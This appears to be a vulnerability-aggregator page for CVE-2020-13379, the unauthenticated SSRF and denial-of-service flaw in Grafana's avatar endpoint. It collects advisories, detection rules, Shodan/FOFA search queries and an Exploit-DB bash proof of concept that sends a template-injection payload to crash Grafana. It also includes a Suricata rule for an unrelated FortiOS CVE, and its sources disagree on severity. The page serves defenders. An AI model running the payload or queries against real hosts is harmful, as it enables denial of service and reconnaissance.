CVE-2020-13379
published 2020-06-03CVE-2020-13379: The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue. This vulnerability allows any unauthenticated user/client to make…
PriorityP183high8.2CVSS 3.1
AVNACLPRNUINSUCLINAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
99.86%
100.0th percentile
The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client. This can be used to gain information about the network that Grafana is running on. Furthermore, passing invalid URL objects could be used for DOS'ing Grafana via SegFault.
Affected
7 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| fedoraproject | fedora | — | — |
| fedoraproject | fedora | — | — |
| github.com | grafana_grafana | >= 3.0.1 < 6.7.4 | 6.7.4 |
| github.com | grafana_grafana | >= 7.0.0 < 7.0.2 | 7.0.2 |
| grafana | grafana | 3.0.1 – 7.0.1 | — |
| opensuse | backports_sle | — | — |
| opensuse | leap | — | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Detect SSRF exploitation attempts against the Grafana avatar endpoint by monitoring HTTP GET requests to /avatar/* paths, especially those containing URL-encoded characters or redirect parameters (e.g., %3fd%3d, %3A%252F%252F) indicating an attempt to proxy arbitrary URLs. ↗
- →Detect DoS exploitation attempts by monitoring for requests to /avatar/ containing template injection payloads such as URL-encoded double curly braces (%7B%7B...%7D%7D) which trigger a SegFault/NULL pointer dereference in Grafana. ↗
- →Nuclei template detection: match HTTP 200 response with body containing both 'cloudflare.com' and 'dns', and Content-Type header containing 'image/jpeg', indicating successful SSRF via the avatar endpoint. ↗
- →The vulnerability is exploitable by unauthenticated users; alert on any unauthenticated (no session cookie / Authorization header) requests hitting /avatar/* paths in Grafana access logs. ↗
- →Use Shodan/FOFA queries to identify exposed Grafana instances for proactive asset discovery: Shodan: title:"Grafana", FOFA: title="grafana", Google: intitle:"grafana". ↗
- ·In OpenShift Container Platform (OCP) and OpenShift ServiceMesh (OSSM), Grafana is behind OpenShift OAuth, restricting unauthenticated external access to the vulnerable path. However, other pods within the cluster network can still reach the vulnerable URL and perform SSRF or DoS attacks. ↗
- ·The Nuclei template uses a stop-at-first-match strategy across two path variants (/avatar/... and /grafana/avatar/...), meaning detection coverage depends on which deployment path prefix is in use. ↗
CVSS provenance
nvdv3.18.2HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
nvdv2.06.4MEDIUMAV:N/AC:L/Au:N/C:P/I:N/A:P
vulncheck8.2HIGH
vendor_redhat8.2HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
Server Side Request Forgery in Grafana
ghsa·2022-02-15
CVE-2020-13379 [MEDIUM] CWE-918 Server Side Request Forgery in Grafana
Server Side Request Forgery in Grafana
The avatar feature in Grafana (github.com/grafana/grafana/pkg/api/avatar) 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue that allows remote code execution. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client. This can be used to gain information about the network that Grafana is running on.
OSV
Server Side Request Forgery in Grafana
osv·2022-02-15
CVE-2020-13379 [MEDIUM] Server Side Request Forgery in Grafana
Server Side Request Forgery in Grafana
The avatar feature in Grafana (github.com/grafana/grafana/pkg/api/avatar) 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue that allows remote code execution. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client. This can be used to gain information about the network that Grafana is running on.
VulnCheck
Grafana Labs Grafana Server-Side Request Forgery (SSRF)
vulncheck·2020·CVSS 8.2
CVE-2020-13379 [HIGH] Grafana Labs Grafana Server-Side Request Forgery (SSRF)
Grafana Labs Grafana Server-Side Request Forgery (SSRF)
The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client. This can be used to gain information about the network that Grafana is running on. Furthermore, passing invalid URL objects could be used for DOS'ing Grafana via SegFault.
Affected: Grafana Labs Grafana
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2024-03-07&host_type=src&vulnerability
Red Hat
grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL
vendor_redhat·2020-06-03·CVSS 8.2
CVE-2020-13379 [HIGH] CWE-918 grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL
grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL
The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client. This can be used to gain information about the network that Grafana is running on. Furthermore, passing invalid URL objects could be used for DOS'ing Grafana via SegFault.
An SSRF incorrect access control vulnerability was found in Grafana regarding the avatar feature, allowing any unauthenticated user or client to make Grafana send HTTP requests to any URL and then return its result to the user or client. Additionally, the sa
Suricata
ET EXPLOIT FortiOS SSL VPN - Information Disclosure (CVE-2018-13379)
suricata·2019-08-14·CVSS 9.1
CVE-2018-13379 [CRITICAL] ET EXPLOIT FortiOS SSL VPN - Information Disclosure (CVE-2018-13379)
ET EXPLOIT FortiOS SSL VPN - Information Disclosure (CVE-2018-13379)
Rule: alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET EXPLOIT FortiOS SSL VPN - Information Disclosure (CVE-2018-13379)"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/remote/fgt_lang?lang=/../"; depth:35; isdataat:30,relative; fast_pattern; reference:cve,CVE-2018-13379; reference:url,blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html; classtype:attempted-admin; sid:2027883; rev:3; metadata:affected_product Fortigate, attack_target Networking_Equipment, created_at 2019_08_14, deployment Perimeter, deployment SSLDecrypt, performance_impact Low, signature_severity Major, tag CISA_KEV, updated_at 2020_08_31, mitre_tactic_id TA0007, mitre_tactic_name Disco
Exploit-DB
Grafana 7.0.1 - Denial of Service (PoC)
exploitdb·2020-07-06·CVSS 8.2
CVE-2020-13379 [HIGH] Grafana 7.0.1 - Denial of Service (PoC)
Grafana 7.0.1 - Denial of Service (PoC)
---
# Exploit Title: Grafana 7.0.1 - Denial of Service (PoC)
# Date: 2020-05-23
# Exploit Author: mostwanted002
# Vendor Homepage: https://grafana.com/
# Software Link: https://grafana.com/grafana/download
# Version: 3.0.1 - 7.0.1
# Tested on: Linux
# CVE : CVE-2020-13379
#!/bin/bash
if [[ $1 != "" ]]; then
curl -I "${1}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D"
else
echo "Usage: grafana-dos.sh . Example: grafana-dos.sh http://localhost:3000"
fi
Nuclei
Grafana 3.0.1-7.0.1 - Server-Side Request Forgery
nuclei·CVSS 8.2
CVE-2020-13379 [HIGH] Grafana 3.0.1-7.0.1 - Server-Side Request Forgery
Grafana 3.0.1-7.0.1 - Server-Side Request Forgery
Grafana 3.0.1 through 7.0.1 is susceptible to server-side request forgery via the avatar feature, which can lead to remote code execution. Any unauthenticated user/client can make Grafana send HTTP requests to any URL and return its result. This can be used to gain information about the network Grafana is running on, thereby potentially enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
Template:
id: CVE-2020-13379
info:
name: Grafana 3.0.1-7.0.1 - Server-Side Request Forgery
author: Joshua Rogers
severity: high
description: |
Grafana 3.0.1 through 7.0.1 is susceptible to server-side request forgery via the avatar feature, which ca
Bugzilla
CVE-2020-13379 grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL [fedora-all]
bugzilla·2020-06-03·CVSS 8.2
CVE-2020-13379 [HIGH] CVE-2020-13379 grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL [fedora-all]
CVE-2020-13379 grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and th
Bugzilla
CVE-2020-13379 grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL
bugzilla·2020-06-03·CVSS 8.2
CVE-2020-13379 [HIGH] CVE-2020-13379 grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL
CVE-2020-13379 grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL
An SSRF incorrect access control vulnerability was found in Grafana regarding the avatar feature, allowing any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client. This can be used to gain information about the network that Grafana is running on.
Reference:
https://grafana.com/blog/2020/06/03/grafana-6.7.4-and-7.0.2-released-with-important-security-fix/
Discussion:
Created grafana tracking bugs for this issue:
Affects: fedora-all [bug 1843642]
---
OpenShift packages a vulnerable version of grafana:
- OpenShift 3.11 grafana v5.2.3
- OpenShift 4.x grafana v6.4.3
ServiceMesh also pa
Unit42
Attackers Are Taking Advantage of the Open-Source Service Interactsh for Malicious Purposes
blogs_unit42·2021-10-14
Attackers Are Taking Advantage of the Open-Source Service Interactsh for Malicious Purposes
## Executive Summary
Recently, Unit 42 has observed active exploits related to an open-source service called Interactsh. This tool can generate specific domain names to help its users test whether an exploit is successful. It can be used by researchers – but also by attackers – to validate vulnerabilities via real-time monitoring on the trace path for the domain. Researchers creating a proof of concept (PoC) for an exploit can insert Interactsh to check whether the PoC is working, but the service could also be used by attackers who want to be sure an exploit is working.
This blog will first introduce the Interactsh tool and how researchers or attackers can leverage it to perform vulnerability validation. We then describe some of the many exploits in the wild leveraging this tool, and we
Unit42
Attackers Are Taking Advantage of the Open-Source Service Interactsh for Malicious Purposes
blogs_unit42·2021-10-14
Attackers Are Taking Advantage of the Open-Source Service Interactsh for Malicious Purposes
Threat Research Center
Threat Research
Cybercrime
## Attackers Are Taking Advantage of the Open-Source Service Interactsh for Malicious Purposes
Yue Guan
Jin Chen
Leo Olson
Wayne Xin
Daiping Liu
Published: October 14, 2021
Cybercrime
Threat Research
Attack analysis
Exploit
Exploit in the wild
Interactsh
## Executive Summary
Recently, Unit 42 has observed active exploits related to an open-source service called Interactsh . This tool can generate specific domain names to help its users test whether an exploit is successful. It can be used by researchers – but also by attackers – to validate vulnerabilities via real-time monitoring on the trace path for the domain. Researchers creating a proof of concept (PoC) for an exploit can insert Interactsh to check whether the PoC
http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00060.htmlhttp://lists.opensuse.org/opensuse-security-announce/2020-07/msg00083.htmlhttp://lists.opensuse.org/opensuse-security-announce/2020-10/msg00009.htmlhttp://lists.opensuse.org/opensuse-security-announce/2020-10/msg00017.htmlhttp://packetstormsecurity.com/files/158320/Grafana-7.0.1-Denial-Of-Service.htmlhttp://www.openwall.com/lists/oss-security/2020/06/03/4http://www.openwall.com/lists/oss-security/2020/06/09/2https://community.grafana.com/t/grafana-7-0-2-and-6-7-4-security-update/31408https://community.grafana.com/t/release-notes-v6-7-x/27119https://community.grafana.com/t/release-notes-v7-0-x/29381https://grafana.com/blog/2020/06/03/grafana-6.7.4-and-7.0.2-released-with-important-security-fix/https://lists.apache.org/thread.html/r0928ee574281f8b6156e0a6d0291bfc27100a9dd3f9b0177ece24ae4%40%3Cdev.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/r093b405a49fd31efa0d949ac1a887101af1ca95652a66094194ed933%40%3Cdev.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/r40f0a97b6765de6b8938bc212ee9dfb5101e9efa48bcbbdec02b2a60%40%3Cissues.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/r6670a6c29044bcb77d4e5d165b5bd13fffe37b84caa5d6471b13b3a2%40%3Cdev.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/r6bb57124a21bb638f552d81650c66684e70fc1ff9f40b6a8840171cd%40%3Cissues.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/r984c3b42a500f5a6a89fbee436b9432fada5dc27ebab04910aafe4da%40%3Cissues.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/rad99b06d7360a5cf6e394afb313f8901dcd4cb777aee9c9197b3b23d%40%3Cdev.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/rba0247a27be78bd14046724098462d058a9969400a82344b3007cf90%40%3Cdev.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/rd0fd283e3844b9c54cd5ecc92d966f96d3f4318815bbf3ac41f9c820%40%3Ccommits.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/re75f59639f3bc1d14c7ab362bc4485ade84f3c6a3c1a03200c20fe13%40%3Cissues.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/re7c4b251b52f49ba6ef752b829bca9565faaf93d03206b1db6644d31%40%3Cdev.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/rff71126fa7d9f572baafb9be44078ad409c85d2c0f3e26664f1ef5a2%40%3Cdev.ambari.apache.org%3Ehttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EEKSZ6GE4EDOFZ23NGYWOCMD6O4JF5SO/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/O2KSCCGKNEENZN3DW7TSPFBBUZH3YZXZ/https://mostwanted002.cf/post/grafanados/https://rhynorater.github.io/CVE-2020-13379-Write-Uphttps://security.netapp.com/advisory/ntap-20200608-0006/http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00060.htmlhttp://lists.opensuse.org/opensuse-security-announce/2020-07/msg00083.htmlhttp://lists.opensuse.org/opensuse-security-announce/2020-10/msg00009.htmlhttp://lists.opensuse.org/opensuse-security-announce/2020-10/msg00017.htmlhttp://packetstormsecurity.com/files/158320/Grafana-7.0.1-Denial-Of-Service.htmlhttp://www.openwall.com/lists/oss-security/2020/06/03/4http://www.openwall.com/lists/oss-security/2020/06/09/2https://community.grafana.com/t/grafana-7-0-2-and-6-7-4-security-update/31408https://community.grafana.com/t/release-notes-v6-7-x/27119https://community.grafana.com/t/release-notes-v7-0-x/29381https://grafana.com/blog/2020/06/03/grafana-6.7.4-and-7.0.2-released-with-important-security-fix/https://lists.apache.org/thread.html/r0928ee574281f8b6156e0a6d0291bfc27100a9dd3f9b0177ece24ae4%40%3Cdev.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/r093b405a49fd31efa0d949ac1a887101af1ca95652a66094194ed933%40%3Cdev.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/r40f0a97b6765de6b8938bc212ee9dfb5101e9efa48bcbbdec02b2a60%40%3Cissues.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/r6670a6c29044bcb77d4e5d165b5bd13fffe37b84caa5d6471b13b3a2%40%3Cdev.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/r6bb57124a21bb638f552d81650c66684e70fc1ff9f40b6a8840171cd%40%3Cissues.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/r984c3b42a500f5a6a89fbee436b9432fada5dc27ebab04910aafe4da%40%3Cissues.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/rad99b06d7360a5cf6e394afb313f8901dcd4cb777aee9c9197b3b23d%40%3Cdev.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/rba0247a27be78bd14046724098462d058a9969400a82344b3007cf90%40%3Cdev.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/rd0fd283e3844b9c54cd5ecc92d966f96d3f4318815bbf3ac41f9c820%40%3Ccommits.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/re75f59639f3bc1d14c7ab362bc4485ade84f3c6a3c1a03200c20fe13%40%3Cissues.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/re7c4b251b52f49ba6ef752b829bca9565faaf93d03206b1db6644d31%40%3Cdev.ambari.apache.org%3Ehttps://lists.apache.org/thread.html/rff71126fa7d9f572baafb9be44078ad409c85d2c0f3e26664f1ef5a2%40%3Cdev.ambari.apache.org%3Ehttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EEKSZ6GE4EDOFZ23NGYWOCMD6O4JF5SO/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/O2KSCCGKNEENZN3DW7TSPFBBUZH3YZXZ/https://mostwanted002.cf/post/grafanados/https://rhynorater.github.io/CVE-2020-13379-Write-Uphttps://security.netapp.com/advisory/ntap-20200608-0006/
2020-06-03
Published
Exploited in the wild